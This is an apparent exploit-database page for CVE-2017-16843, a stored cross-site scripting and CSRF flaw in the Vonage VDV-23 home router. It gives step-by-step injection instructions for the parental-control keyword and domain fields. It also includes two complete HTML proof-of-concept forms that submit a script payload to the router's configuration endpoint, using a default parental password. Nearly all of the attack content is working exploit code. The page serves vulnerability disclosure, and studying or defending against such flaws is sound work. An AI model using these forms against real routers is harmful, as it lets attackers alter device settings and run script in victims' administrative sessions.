Vonage VDV23 - Cross-Site Scripting Vulnerability

🗓️ 16 Nov 2017 00:00:00Reported by Nu11By73Type

zdt🔗 0day.today👁 36 Views

Vonage VDV23 Cross-Site Scripting Vulnerability - Stored XSS exploit affecting hardware version VDV-23: 115 and software version 3.2.11-0.9.4

Reporter	Title	Published	Views	Family All 8
CNVD	Vonage VDV-23 Cross-Site Scripting Vulnerability	20 Nov 201700:00	–	cnvd
CVE	CVE-2017-16843	16 Nov 201721:00	–	cve
Cvelist	CVE-2017-16843	16 Nov 201721:00	–	cvelist
Exploit DB	Vonage VDV23 - Cross-Site Scripting	16 Nov 201700:00	–	exploitdb
EUVD	EUVD-2017-8017	7 Oct 202500:30	–	euvd
exploitpack	Vonage VDV23 - Cross-Site Scripting	16 Nov 201700:00	–	exploitpack
NVD	CVE-2017-16843	16 Nov 201721:29	–	nvd
Prion	Cross site scripting	16 Nov 201721:29	–	prion

# Exploit Title: Vonage Home Router – Stored Xss
# Exploit Author: Nu11By73
# Hardware Version: VDV-23: 115
# Software Version: 3.2.11-0.9.40
# CVE : CVE-2017-16843
 
 
NewKeyword Parameter:
 
Login to the router
Click advanced setup
Click parental controls
In the blocked keywords text box enter: test”><script>alert(1)</script> (screenshot 1)
Click the add keyword button to receive the pop up. 
 
Login to the router
Click advanced setup
Click parental controls
In the block these websites text box enter: test”><script>alert(1)</script> (screenshot 1)
Click the add domain button to receive the pop up.
 
Proof of concept code:
 
NewDomain.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="" / >
<input type="hidden" name="KeywordAction" value="0" />
<input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" />
<input type="hidden" name="x" value="50" />
<input type="hidden" name="y" value="15" />
<input type="hidden" name="DomainAction" value="1" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Exploit" />
</form>
</html>
 
NewKeyword.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="test'><script>alert(1)</script>" / >
<input type="hidden" name="x" value="61" />
<input type="hidden" name="y" value="12" />
<input type="hidden" name="KeywordAction" value="1" />
<input type="hidden" name="NewDomain" value="" />
<input type="hidden" name="DomainAction" value="0" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Enable Service" />
</form>
</html>

#  0day.today [2018-02-19]  #

16 Nov 2017 00:00Current

5.8Medium risk

Vulners AI Score5.8

EPSS0.00095